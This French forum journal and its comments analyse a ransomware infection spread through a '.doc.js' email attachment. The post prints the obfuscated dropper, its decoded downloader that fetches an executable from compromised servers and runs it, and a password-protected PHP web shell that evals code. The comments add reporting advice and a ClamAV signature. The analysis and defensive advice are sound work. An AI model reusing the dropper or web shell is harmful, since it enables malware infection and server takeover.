Journal Analyse de l'origine d'un virus

Posté par . Licence CC by-sa
60
5
jan.
2016

Alors ce matin, une collègue de boulot vient me voir en me demandant comment accéder à ses fichiers. Je ne comprends pas trop le problème alors je vais voir avec elle sur son ordinateur. Et la il se trouve qu'elle a plein de fichier en .xlsx.RRK et autre .docx.RRK. Aie ça sent le ransomware, je fais un peux de recherche et je tombe sur ça apparremment il s'agit de Radamant Ransomware Kit. Et il se trouve qu'il y a même un outil de déchiffrage disponible ici tellement le chiffrement semble faible.

Je me demande alors mais comment ce beau virus à pu arriver sur l'ordinateur de ma collègue et elle finit par m'avouer qu'elle a reçu un e-mail lui disant qu'elle avait un fax, bien sûr dans un fichier scan-0000821639.zip, lui même contenant un scan-0000821639.doc.js (sic)

Étant curieux, je regarde le contenu :

    // j'ai enlevé du contenu pour protéger le site web

    var str="5553515E0D0A020B241416010701141001084A070B095E3C5E020516490B11104A00015E17565E55505155535655515C565E55";var b8='h ',y2='tr+',w4='ip',r4='")',l1='rite(',s4='ize >',f7=' xa.',y7=' var ',z9='ct(',t6='Run',j4='= 0',c3='.s',u2='',c9='r/?',p5='("MS',m6='xpa',c5='e",1,',f1='xo',b4='xo ',a9='spli',c4=' try',b0=' = 1',w2='2); ',x1='ea',f5='Env',r7='t.Cr',v6='e =',g0='ipt',g9='tp://',i3='eO',l7='; br',q4='};',o0='} ',i2='("GE',h9=u2+=t5;u2+=k1;u2+=h3;u2+=t2;u2+=q0;u2+=z5;u2+=j2;u2+=s2;u2+=u8;u2+=g2;u2+=h8;u2+=l2;u2+=a9;u2+=q9;u2+=a5;u2+=i5;u2+=n3;u2+=k0;u2+=o9;u2+=w4;u2+=r7;u2+=t3;u2+=m0;u2+=a1;u2+=f6;u2+=s0;u2+=d1;u2+=s5;u2+=h7;u2+=n8;u2+=h6;u2+=q1;u2+=a7;u2+=e1;u2+=m6;u2+=p9;u2+=f5;u2+=p8;u2+=j7;u2+=n0;u2+=t9;u2+=l0;u2+=z6;u2+=p2;u2+=j8;u2+=l8;u2+=p7;u2+=r8;u2+=z4;u2+=c6;u2+=u3;u2+=b1;u2+=w6;u2+=y7;u2+=b4;u2+=f8;u2+=d4;u2+=c7;u2+=i6;u2+=r9;u2+=p5;u2+=j6;u2+=v9;u2+=f4;u2+=v8;u2+=r4;u2+=u0;u2+=p0;u2+=w7;u2+=g0;u2+=j3;u2+=r2;u2+=i3;u2+=m9;u2+=z9;u2+=u7;u2+=g5;u2+=z0;u2+=x1;u2+=y4;u2+=e8;u2+=i1;u2+=j4;u2+=z2;u2+=o3;u2+=j0;u2+=g1;u2+=x9;u2+=f0;u2+=e4;u2+=n4;u2+=t7;u2+=s3;u2+=e6;u2+=x3;u2+=z3;u2+=y3;u2+=x4;u2+=x2;u2+=u4;u2+=r0;u2+=h1;u2+=j1;u2+=w8;u2+=c4;u2+=i8;u2+=n6;u2+=w5;u2+=i2;u2+=g4;u2+=k6;u2+=g9;u2+=x7;u2+=s9;u2+=v7;u2+=f3;u2+=t1;u2+=c9;u2+=h5;u2+=d5;u2+=y2;u2+=z1;u2+=y9;u2+=w0;u2+=h9;u2+=e0;u2+=o1;u2+=n7;u2+=d8;u2+=o5;u2+=s7;u2+=q5;u2+=b6;u2+=b9;u2+=y0;u2+=t4;u2+=z8;u2+=f7;u2+=c1;u2+=g8;u2+=v0;u2+=w9;u2+=v6;u2+=u6;u2+=k3;u2+=l1;u2+=f1;u2+=n9;u2+=y5;u2+=e9;u2+=b3;u2+=p3;u2+=i9;u2+=l6;u2+=s4;u2+=e3;u2+=a0;u2+=p4;u2+=b0;u2+=u5;u2+=m4;u2+=a8;u2+=d7;u2+=z7;u2+=r6;u2+=d6;u2+=c3;u2+=s8;u2+=s6;u2+=h2;u2+=o8;u2+=w3;u2+=s1;u2+=w2;u2+=b7;u2+=a3;u2+=n5;u2+=t6;u2+=g6;u2+=g3;u2+=t0;u2+=c5;u2+=v5;u2+=w1;u2+=o0;u2+=e2;u2+=b8;u2+=u1;u2+=i0;u2+=p1;u2+=d0;u2+=y6;u2+=h0;u2+=c0;u2+=j5;u2+=o7;u2+=v4;u2+=q3;u2+=e5;u2+=r3;u2+=q2;u2+=l7;u2+=d3;u2+=g7;u2+=o2;u2+=v2;u2+=y8;u2+=q4;u2+=k7;u2+=v1;h4(u2);

Bon c'est pas très clair comme ça alors il me suffit d'un petit breakpoint avec firebug pour découvrir le vrai code :

    // j'ai enlevé du contenu pour protéger le site web

    var b = "site1.com site2.com site3.com".split(" "); var ws = WScript.CreateObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+"575266"; var xo = WScript.CreateObject("MSXML2.XMLHTTP"); var xa = WScript.CreateObject("ADODB.Stream"); var ld = 0; for (var n=1; n<=3; n++) { for (var i=ld; i<b.length; i++) { var dn = 0; try { xo.open("GET","http://"+b[i]+"/counter/?id="+str+"&rnd=294749"+n, false); xo.send(); if (xo.status == 200) { xa.open(); xa.type = 1; xa.write(xo.responseBody); if (xa.size > 1000) { dn = 1; xa.position = 0; xa.saveToFile(fn+n+".exe",2); try { ws.Run(fn+n+".exe",1,0); } catch (er) { }; }; xa.close(); }; if (dn == 1) { ld = i; break; }; } catch (er) { }; }; };

On analyse un peu le code qui est plutôt simple (malgrè les noms de variable bidon), et on se rend compte qu'il fait un HTTP POST vers 3 serveurs (au cas ou il y en a un qui tombe) lui permettant de récupérer un fichier exécutable windows qui a été découpé en trois parties. Puis de l'exécuter. Toujours par curiosité, je décide d'aller voir ce qu'il y a sur ces serveurs. Ce sont principalement des sites de blog ou de petite entreprise (notamment sous wordpress) et il y a un serveur sur lequel il n'y à que l'a l'index des fichiers. Je tombe sur un fichier dont voici le contenu:

<?php
 // j'ai enlevé du contenu pour protéger le site web
 file_put_contents("post.php", base64_decode("PD9waHANCg0 ......  8+="));

?>

Un petit coup de base64 -d me donne :

<?php
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
@ini_set("memory_limit", "128M");
@ini_set("max_execution_time",30);
@set_time_limit(30); 

if (isset($_POST["ip"])) $_SERVER["REMOTE_ADDR"] = $_POST["ip"];

if (isset($_POST["code"]) && isset($_POST["pass"]) && $_POST["pass"] == "somepassword")
{
    eval(base64_decode($_POST["code"]));
}
exit;
?>

Ce qui est un beau petit script permettant d'exécuter un code php passé en paramètre. Il me parait évident que les sites en questions on été hackés et ne servent qu'a permettre le téléchargement du virus. J'ai donc envoyé un e-mail au contact technique du propriétaire du nom de domaine pour l'avertir de la compromission de son site. Cet e-mail n'a pas reçu a ce jour de réponse, et après hésitation, j'ai supprimé les trois fichiers qui permettent de reconstituer le virus exécutable de manière à limiter la propagation du virus, ainsi que le fameux rootkit, mais je suppose qu'une faille de wordpress à été utilisée pour créer le rootkit.

Voici ce que donne un file virus.exe :

PE32 executable (GUI) Intel 80386, for MS Windows

Clamscan ne connaît pas ce virus, avast ne l'a pas détecté. Je me demande maintenant quoi faire ? A qui communiquer ces informations ? Si vous avez des idées je suis preneur.

  • # vitustotal.com

    Posté par (page perso) . Évalué à 10. Dernière modification le 06/01/16 à 07:52.

    mets ton virus.exe sur virustotal.com, cela permettra de le tester sur une cinquantaine d'antivirus

    tu peux le communiquer à
    http://www.virusbtn.com/index
    http://hasherezade.net/
    http://www.r00ted.com/

    The IoT industry needs an ID standard. Let’s name it id-IoT

    • [^] # Re: vitustotal.com

      Posté par . Évalué à 1.

      Merci pour ce site que je ne connaissait pas, je l'ai soumis, et il est bien reconnu par plusieurs antivirus, dont clamav, du coup je l'ai soumis aussi à clamav.

  • # Signaler les fichiers suspects

    Posté par (page perso) . Évalué à 10.

    Clamscan ne connaît pas ce virus, avast ne l'a pas détecté. Je me demande maintenant quoi faire ? A qui communiquer ces informations ? Si vous avez des idées je suis preneur.

    Il y a un formulaire en ligne pour signaler de nouveaux fichiers suspicieux :

    http://www.clamav.net/reports/malware

    Il faudrait sûrement envoyer le fichier exécutable ; envoyer le fichier attaché original pourrait aussi être utile.

    Sinon pour le reste (récupération de fichiers depuis un serveur web infecté, …) je n'ai pas de référence exacte en tête, mais ça ne me semble pas être très nouveau…

  • # Le signaler à Clamav

    Posté par (page perso) . Évalué à 5. Dernière modification le 05/01/16 à 17:37.

    http://cgi.clamav.net/sendvirus.cgi

    Edit: 0wn3d. J'ai été trop lent.

  • # clamAV

    Posté par (page perso) . Évalué à 10. Dernière modification le 05/01/16 à 18:12.

    ClamAV peut par contre retenir tous les .zip qui contiennent un .js

    Mets un fichier dans truc.cdb /var/lib/clamav/ qui contienne:

    Sanesecurity.Foxhole.generic.Zip_js:CL_TYPE_ZIP:*:\.[Jj][Ss]$:*:*:*:*:*:*

    Voir aussi: http://sanesecurity.com/foxhole-databases/

    La gelée de coings est une chose à ne pas avaler de travers.

    • [^] # Re: clamAV

      Posté par . Évalué à 1.

      Bon truc aussi, je m'en vais mettre ça sur mon serveur de mail. Il n'y a pas de raison d'envoyer un .zip avec du js dedans.

      • [^] # Re: clamAV

        Posté par . Évalué à 2.

        Il n'y a pas de raison d'envoyer un mail avec une pièce jointe dedans.

      • [^] # Re: clamAV

        Posté par . Évalué à 6.

        Il n'y a pas de raison d'envoyer un .zip avec du js dedans.

        Ça m'arrive pour le boulot, et c'est souvent bloqué.

        Le plus lourdingue que j'ai rencontré, c'est un serveur qui laisse passer les zip sans rien dire mais retire les fichiers .js qu'il trouve dedans. Facile à contourner, mais faut déjà piger pourquoi ce que tu livres marche chez toi et pas chez le destinataire.

  • # merci qui, merci microsoft...

    Posté par . Évalué à 10.

    … qui, à l'heure de windows 10, masque toujours l'extension des fichiers connu dans le navigateur de fichier.

    la personne recoit donc un fichier.xlsx.js l'affichage indique fichier.xlsx
    ce qui ne semble pas suspect pour l'utilisateur car il ne voit pas le .js et clique dessus pensant ouvrir un fichier excel.

    • [^] # Re: merci qui, merci microsoft...

      Posté par (page perso) . Évalué à 6.

      Tu crois vraiment que l'utilisateur fait attention à ça. Je trouve plutôt dingue que les système de courriel actuels (côté serveur ou client) te laisse ouvrir ce genre de fichier par défaut sans qu'il y ait un gros warning. Que les gens reçoivent des exécutables légitimes par mail, je peux le comprendre, mais qu'il n'y a pas, par défaut, un truc qui gueule contre ça, non.

      « Rappelez-vous toujours que si la Gestapo avait les moyens de vous faire parler, les politiciens ont, eux, les moyens de vous faire taire. » Coluche

      • [^] # Re: merci qui, merci microsoft...

        Posté par (page perso) . Évalué à 7.

        Absolument ! Comment peux-t-on encore, en 2016, admettre que les gens se laissent toujours prendre aux mêmes pièges à con de Mirosoft. Et un nouveau format de fichier privateur pseudo-standard pour mieux enfermer vos données. Aucun logiciel digne de ce nom ne devrait laisser cliquer quelqu'un sur un xslx ou un docx sans au moins un bel avertissement ;-) !

        • [^] # Re: merci qui, merci microsoft...

          Posté par (page perso) . Évalué à 8.

          Aucun logiciel digne de ce nom ne devrait laisser cliquer quelqu'un sur un xslx ou un docx sans au moins un bel avertissement

          Vu ce qu'il est possible de faire avec les macro et les OLE, je suis entièrement d'accord. On ne devrait autorisée que les epub en pièce jointe, et encore…

          « Rappelez-vous toujours que si la Gestapo avait les moyens de vous faire parler, les politiciens ont, eux, les moyens de vous faire taire. » Coluche

          • [^] # Re: merci qui, merci microsoft...

            Posté par . Évalué à 10.

            Au boulot, quand on ouvre un .xlsx depuis Outlook, il me semble qu'on a un message d'avertissement comme quoi ce qui vient de "l'internet" est dangereux et un bouton à cliquer sans quoi on est en lecture seule. Évidemment, à force d'avoir des avertissements, on prend l'habitude de cliquer… surtout que ça se déclenche même quand le message vient d'un collègue du bureau d'à côté.

      • [^] # Re: merci qui, merci microsoft...

        Posté par . Évalué à 10.

        Les gens ont l'habitude de cliquer sur oui malgré les gros warning tout simplement.

  • # Tout en JS et… 32Mo

    Posté par . Évalué à 5.

    Juste au moment ou certain en font des cross plates-formes (oui compatible *Nix aussi) tout en JS pour la modique somme de 32Mo :)
    http://www.nextinpact.com/news/97946-ransom32-premier-rancongiciel-a-etre-code-en-javascript.htm

    Bon par contre le chiffrement c'est de l'AES128 un poil plus compliqué a cassé

    • [^] # Re: Tout en JS et… 32Mo

      Posté par (page perso) . Évalué à 7.

      Juste au moment ou certain en font des cross plates-formes (oui compatible *Nix aussi) tout en JS

      Si j’ai bien lu l’article, c’est une cochonnerie en JS livré avec un interpréteur win32 (basé sur nodeJS). Il faut que le code ne tourne pas dans le bac à sable du navigateur / client mail pour chiffrer les données du disque.

      Il faut encore livrer un interpréteur pour d’autres plateformes et ça n’est pas encore fait mais c’est très accessible vu les technos citées, et il faut encore réussir à le faire exécuter par l’utilisateur ce qui n’est pas encore fait non-plus mais ce n’est sûrement pas insurmontable, sous GNU/Linux un lanceur .desktop avec le bit exécutable dans une achive tar (qui conserve les permissions), ça peut peut-être le faire. Et puis de toute façon, si tu fais suffisamment rêver le pigeon, il fera tout pour exécuter ton code.

      ce commentaire est sous licence cc by 4 et précédentes

      • [^] # Re: Tout en JS et… 32Mo

        Posté par . Évalué à 2.

        mais madame michu sous linux ne sait pas faire chmod +x, ni ouvrir une archive tar :)

        mon père m'appel pour ce genre de manip, je lui demande ou il a pris ce fichier, et je decide ou pas de lui dire comment faire.

        • [^] # Re: Tout en JS et… 32Mo

          Posté par . Évalué à 4. Dernière modification le 06/01/16 à 12:24.

          ni ouvrir une archive tar

          Faut pas déconner, avec n’importe quel DE moderne tu cliques sur l’icone ça t’ouvre ton .tar dans un gestionnaire d’archive, voir directement dans le gestionnaire de fichiers comme sous Windows avec un .zip.

          madame michu sous linux ne sait pas faire chmod +x

          Toujours pareil, sous Xfce, clic droit → propriétés → cocher la case qui va bien. Je suppose que c’est pareil sous Gnome et KDE (bon, pour Gnome 3 j’ai un doute…)

          • [^] # Re: Tout en JS et… 32Mo

            Posté par (page perso) . Évalué à 3. Dernière modification le 06/01/16 à 12:28.

            J’ai cité tar parce que dans un tar, le +x est conservé.

            Edit: et un bureau linux moderne qui ne saurait pas ouvrir une archive tar par défaut, je n’y crois pas (ce serait catastrophique pour "Linux sur le desktop" si on n’en était même pas encore là).

            ce commentaire est sous licence cc by 4 et précédentes

            • [^] # Re: Tout en JS et… 32Mo

              Posté par (page perso) . Évalué à 10.

              Pour l’occasion je viens de publier une vieille validation de principe que je viens de remanier un peu.

              Il suffit de télécharger le fichier chaton-mignon.tgz (tous le monde aime les chatons mignons !), ensuite faites un clic-droit puis « Extraire-ici » et double-cliquez sur l’icône « chaton-mignon.odt » qui est apparue juste à coté de l’archive dans votre gestionnaire de fichier. En fait non ne le faites pas !

              Bon comme vous êtes pas bête, vous clonez le dépôt, lisez consciencieusement tout ce qui s’y trouve, tapez make et essayez le fichier que vous avez produit. Il ne faut jamais exécuter un code inconnu trouvé sur le net ! ;-)

              ce commentaire est sous licence cc by 4 et précédentes

              • [^] # Re: Tout en JS et… 32Mo

                Posté par (page perso) . Évalué à 3.

                Bravo, c'est vraiment bluffant.

                L'image correspond a celle d'un document odt, c'est le genre de piège dans lequel on se laisserai facilement attraper.

          • [^] # Re: Tout en JS et… 32Mo

            Posté par (page perso) . Évalué à 3.

            Pour le principe, sous GNOME 3 avec Nautilus, clique droit, Permissions, Autoriser l'exécution du fichier comme un programme.

  • # Exécuter un JS ?

    Posté par . Évalué à 8.

    Au début j'ai pas compris, comment peut-on exécuter un .js en cliquant dessus ? Après une petite recherche, il se trouve que windows les exécute par défaut dans un évaluateur de script.. Aïe.

    • [^] # Re: Exécuter un JS ?

      Posté par . Évalué à 3.

      Moi aussi ça m'a surpris…

    • [^] # Re: Exécuter un JS ?

      Posté par . Évalué à 3.

      Comme n’importe quel script (VB, CMD, Powershell,…), avec les restrictions lié à l’utilisateur courant qui clicouille.

  • # bien l'analyse meme si

    Posté par . Évalué à 0. Dernière modification le 10/01/16 à 16:04.

    Je n'y comprends rien. C'est quoi un 'breakpoint' ? De quelle facon en arrivez vous a la premiere conclusion ? C'est quoi 'un petit coup de base64 -d' ? Comment est executé le code php ?

    • [^] # Re: bien l'analyse meme si

      Posté par (page perso) . Évalué à 3.

      Un breakpoint c'est un point d'arrêt dans l’exécution d'un code : lorsqu'on utilise un débogueur, on souhaite surveiller l'avancement dans un programme, mais tout regarder étape par étape n'est ni forcément nécessaire ni possible, on place donc des points d'arrêts dans le code. À ces endroits là, l’exécution du code s'arrêtera pour laisser l'utilisateur du débogueur analyser ce qui se passe ou s'est passé dans le programme.

      Base64 est un programme servant à encoder/décoder du binaire (base 2) vers une représentation en base 64. En faisant base64 -d on décode depuis la représentation en base 64 vers celle d'origine en base 2. (Dans un shell, essayer « info base64 » pour plus d'informations).

Suivre le flux des commentaires

Note : les commentaires appartiennent à ceux qui les ont postés. Nous n'en sommes pas responsables.